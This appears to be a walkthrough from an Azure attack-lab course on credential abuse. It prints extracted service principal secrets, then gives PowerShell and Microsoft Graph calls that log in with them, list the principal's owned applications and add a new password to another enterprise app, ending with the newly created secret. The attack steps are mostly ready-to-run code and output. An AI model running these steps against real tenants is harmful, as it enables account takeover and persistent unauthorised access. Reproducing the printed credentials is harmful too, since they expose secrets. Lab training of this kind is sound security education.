# Learning Objective 11

Task

In the Attack Lab: 

1. Login using the existing service principal credentials that were extracted from resources application. 
2. Check if the service principal has any ownership rights on any other enterprise app. 
3. Add credentials to the enterprise app on which the current service principal has permissions.

**Applies to:** <mark style="color:blue;">Attack Lab</mark>&#x20;

**Topic Covered:** <mark style="color:red;">Credential Abuse</mark>

<mark style="color:red;">Info from Objective 4</mark>

```
ClientSecret: 7e7730b1-29ab-4adf-bb20-7ae61987d01f
Password: ~9j8Q~f339gnUfSBxSO5yuQXM6ztfCBL8LPjXa3I
```

<figure><img src="/files/UXm5LGHceWy4Y2QiNC7j" alt=""><figcaption></figcaption></figure>

```
$password = ConvertTo-SecureString '~9j8Q~f339gnUfSBxSO5yuQXM6ztfCBL8LPjXa3I' -AsPlainText -Force
```

```
$creds = New-Object System.Management.Automation.PSCredential('7e7730b1-29ab-4adf-bb20-7ae61987d01f', $password)
```

```
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant e0f999c1-86ee-47a0-bfd5-18470154b7cd
```

```
Get-AzADApplication
```

```
$password = ConvertTo-SecureString '~9j8Q~f339gnUfSBxSO5yuQXM6ztfCBL8LPjXa3I' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('7e7730b1-29ab-4adf-bb20-7ae61987d01f',$password)
Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant e0f999c1-86ee-47a0-bfd5-18470154b7cd

Get-AzADApplication

$GraphToken = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$Params = @{
 "URI" = "https://graph.microsoft.com/v1.0/servicePrincipals/e0c80e68-d141-4bd4-9bba-37b0bd58a48b/ownedObjects"
 "Method" = "GET"
 "Headers" = @{
 "Authorization" = "Bearer $GraphToken"
 "Content-Type" = "application/json"
 }
 }
$Result = Invoke-RestMethod @Params -UseBasicParsing
$Result.value 
```

<figure><img src="/files/uiff6jbBwQijJstHQ83j" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/CAAMHL1vMHP5dmRdaRmW" alt=""><figcaption></figcaption></figure>

```
$GraphToken = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$URL = "https://graph.microsoft.com/v1.0/servicePrincipals/4a9a9c00-bf17-43d8-b437-fe8144c8df15/addPassword"
$Params = @{
 "URI" = $URL
 "Method" = "POST"
 "Headers" = @{
 "Content-Type" = "application/json"
 "Authorization" = "Bearer $GraphToken"
 }
}
$Body = @{
 "passwordCredential"= @{
 "displayName" = "Password"
 }
}
Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) 
```

<figure><img src="/files/46fO6f8Ij3fhNjNKILtd" alt=""><figcaption></figcaption></figure>

```
$GraphToken = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$URL = "https://graph.microsoft.com/v1.0/servicePrincipals/4a9a9c00-bf17-43d8-b437-fe8144c8df15/addPassword"
$Params = @{
 "URI" = $URL
 "Method" = "POST"
 "Headers" = @{
 "Content-Type" = "application/json"
 "Authorization" = "Bearer $GraphToken"
 }
}
$Body = @{
 "passwordCredential"= @{
 "displayName" = "Password"
 }
}
Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) 


$GraphToken = (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token
$URL = "https://graph.microsoft.com/v1.0/servicePrincipals/4a9a9c00-bf17-43d8-b437-fe8144c8df15/addPassword"




$Params = @{ 
    "URI" = $URL
    "Method" = "POST"
    "Headers" = @{
    "Content-Type" = "application/json"
    "Authorization" = "Bearer $GraphToken"
}
}
$Body = @{"passwordCredential"= @{"displayName" = "Password"}}

Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json)

```

<figure><img src="/files/R6VlHLFUcjFFNeJE29hj" alt=""><figcaption></figcaption></figure>

```
keyId               : 2f432c5d-d9fc-4bef-9325-12a5ad0a0d0e
secretText          : Tey8Q~S3o84UUg7I_ZAIk7DYI4eNCYE5hy1auaoa
```


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